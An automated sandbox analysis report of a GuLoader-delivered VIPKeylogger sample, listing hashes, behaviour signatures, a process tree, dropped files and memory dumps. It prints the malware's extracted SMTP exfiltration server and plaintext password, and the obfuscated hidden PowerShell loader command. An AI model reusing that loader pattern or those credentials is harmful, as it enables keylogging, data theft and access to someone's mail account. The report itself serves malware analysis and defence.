Analysis
- max time kernel
147s - max time network
138s - platform
windows10-2004_x64 - resource
win10v2004-20241007-en - resource tags
- submitted
10/10/2024, 02:27
General
- Target eb63d3d88459c389d3bbf1e307d8a5e40d8ac30c4e9f8b03150e2d4c250896e8.exe
- Size 802KB
- Sample241010-cxppla1arm
- SHA256 eb63d3d88459c389d3bbf1e307d8a5e40d8ac30c4e9f8b03150e2d4c250896e8
Malware Config
Extracted
-
Protocol
smtp
-
Host
mail.terrazza.hr
-
Port
587
-
Username
-
Password
Vodenjak123!
Extracted
-
vipkeylogger
-
Protocol
smtp
-
Host
mail.terrazza.hr
-
Port
587
-
Username
-
Password
Vodenjak123!
-
Email to
Signatures
- Guloader,Cloudeye
A shellcode based downloader first seen in 2020.
- VIPKeylogger
VIPKeylogger is a keylogger and infostealer written in C# and it resembles SnakeKeylogger that was found in 2020.
- Command and Scripting Interpreter: PowerShell 1 TTPs 1 IoCs
Run Powershell and hide display window.
- Accesses Microsoft Outlook profiles 1 TTPs 3 IoCs
- Legitimate hosting services abused for malware hosting/C2 1 TTPs 2 IoCs
- Looks up external IP address via web service 1 IoCs
Uses a legitimate IP lookup service to find the infected system's external IP.
- Suspicious use of NtCreateThreadExHideFromDebugger 1 IoCs
- Suspicious use of NtSetInformationThreadHideFromDebugger 2 IoCs
- Suspicious use of SetThreadContext 1 IoCs
- Drops file in Windows directory 1 IoCs
- Browser Information Discovery 1 TTPs
Enumerate browser information.
- Enumerates physical storage devices 1 TTPs
Attempts to interact with connected storage/optical drive(s).
- System Location Discovery: System Language Discovery 1 TTPs 3 IoCs
Attempt gather information about the system language of a victim in order to infer the geographical location of that host.
- Suspicious behavior: EnumeratesProcesses 11 IoCs
- Suspicious behavior: MapViewOfSection 1 IoCs
- Suspicious use of AdjustPrivilegeToken 2 IoCs
- Suspicious use of WriteProcessMemory 8 IoCs
- outlook_office_path 1 IoCs
- outlook_win_path 1 IoCs
Processes
-
C:\Users\Admin\AppData\Local\Temp\eb63d3d88459c389d3bbf1e307d8a5e40d8ac30c4e9f8b03150e2d4c250896e8.exe"C:\Users\Admin\AppData\Local\Temp\eb63d3d88459c389d3bbf1e307d8a5e40d8ac30c4e9f8b03150e2d4c250896e8.exe"1⤵
- Drops file in Windows directory
- System Location Discovery: System Language Discovery
- Suspicious use of WriteProcessMemory
-
C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe"powershell.exe" -windowstyle hidden "$Wilsonkamret95=Get-Content 'C:\Users\Admin\AppData\Local\Temp\amtsborgmester\pipette\Menise\Knibningen\Eloxals.Fei';$Frkrigstids=$Wilsonkamret95.SubString(3882,3);.$Frkrigstids($Wilsonkamret95)"2⤵
- Command and Scripting Interpreter: PowerShell
- Suspicious use of NtSetInformationThreadHideFromDebugger
- Suspicious use of SetThreadContext
- System Location Discovery: System Language Discovery
- Suspicious behavior: EnumeratesProcesses
- Suspicious behavior: MapViewOfSection
- Suspicious use of AdjustPrivilegeToken
- Suspicious use of WriteProcessMemory
-
C:\Program Files (x86)\windows mail\wabmig.exe"C:\Program Files (x86)\windows mail\wabmig.exe"3⤵
- Accesses Microsoft Outlook profiles
- Suspicious use of NtCreateThreadExHideFromDebugger
- Suspicious use of NtSetInformationThreadHideFromDebugger
- System Location Discovery: System Language Discovery
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of AdjustPrivilegeToken
- outlook_office_path
- outlook_win_path
-
-
Network
MITRE ATT&CK Enterprise v15
Replay Monitor
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Downloads
__PSScriptPolicyTest_qsa2upzf.dvn.ps1
Eloxals.Fei
Normeringerne.Ava
memory/3692-69-0x0000000000BD0000-0x0000000000C1A000-memory.dmp
memory/3692-72-0x0000000024460000-0x00000000244B0000-memory.dmp
memory/3692-71-0x0000000024630000-0x00000000247F2000-memory.dmp
memory/3692-70-0x00000000239E0000-0x0000000023A7C000-memory.dmp
memory/3692-74-0x0000000024D30000-0x000000002525C000-memory.dmp
memory/3692-78-0x0000000024800000-0x0000000024892000-memory.dmp
memory/3692-68-0x0000000000BD0000-0x0000000001E24000-memory.dmp
memory/3692-55-0x0000000000BD0000-0x0000000001E24000-memory.dmp
memory/3692-54-0x0000000077961000-0x0000000077A81000-memory.dmp
memory/3692-53-0x00000000779E8000-0x00000000779E9000-memory.dmp
memory/3692-51-0x0000000077961000-0x0000000077A81000-memory.dmp
memory/3692-49-0x0000000001E30000-0x0000000005C50000-memory.dmp
memory/3692-79-0x0000000021560000-0x000000002156A000-memory.dmp
memory/4196-28-0x0000000005B30000-0x0000000005B7C000-memory.dmp
memory/4196-31-0x0000000006080000-0x00000000060A2000-memory.dmp
memory/4196-36-0x0000000073F10000-0x00000000746C0000-memory.dmp
memory/4196-37-0x0000000073F10000-0x00000000746C0000-memory.dmp
memory/4196-38-0x0000000073F10000-0x00000000746C0000-memory.dmp
memory/4196-39-0x0000000073F10000-0x00000000746C0000-memory.dmp
memory/4196-32-0x0000000007120000-0x00000000076C4000-memory.dmp
memory/4196-41-0x0000000073F10000-0x00000000746C0000-memory.dmp
memory/4196-42-0x0000000073F10000-0x00000000746C0000-memory.dmp
memory/4196-43-0x0000000073F1E000-0x0000000073F1F000-memory.dmp
memory/4196-44-0x00000000083D0000-0x000000000C1F0000-memory.dmp
memory/4196-45-0x0000000073F10000-0x00000000746C0000-memory.dmp
memory/4196-46-0x0000000073F10000-0x00000000746C0000-memory.dmp
memory/4196-47-0x0000000073F10000-0x00000000746C0000-memory.dmp
memory/4196-48-0x0000000073F10000-0x00000000746C0000-memory.dmp
memory/4196-34-0x0000000007D50000-0x00000000083CA000-memory.dmp
memory/4196-30-0x0000000006030000-0x000000000604A000-memory.dmp
memory/4196-52-0x0000000073F10000-0x00000000746C0000-memory.dmp
memory/4196-29-0x0000000006AD0000-0x0000000006B66000-memory.dmp
memory/4196-9-0x0000000073F1E000-0x0000000073F1F000-memory.dmp
memory/4196-27-0x0000000005AF0000-0x0000000005B0E000-memory.dmp
memory/4196-26-0x0000000005520000-0x0000000005874000-memory.dmp
memory/4196-21-0x0000000073F10000-0x00000000746C0000-memory.dmp
memory/4196-14-0x0000000005440000-0x00000000054A6000-memory.dmp
memory/4196-15-0x00000000054B0000-0x0000000005516000-memory.dmp
memory/4196-13-0x0000000004B50000-0x0000000004B72000-memory.dmp
memory/4196-11-0x0000000073F10000-0x00000000746C0000-memory.dmp
memory/4196-12-0x0000000004DA0000-0x00000000053C8000-memory.dmp
memory/4196-10-0x0000000002500000-0x0000000002536000-memory.dmp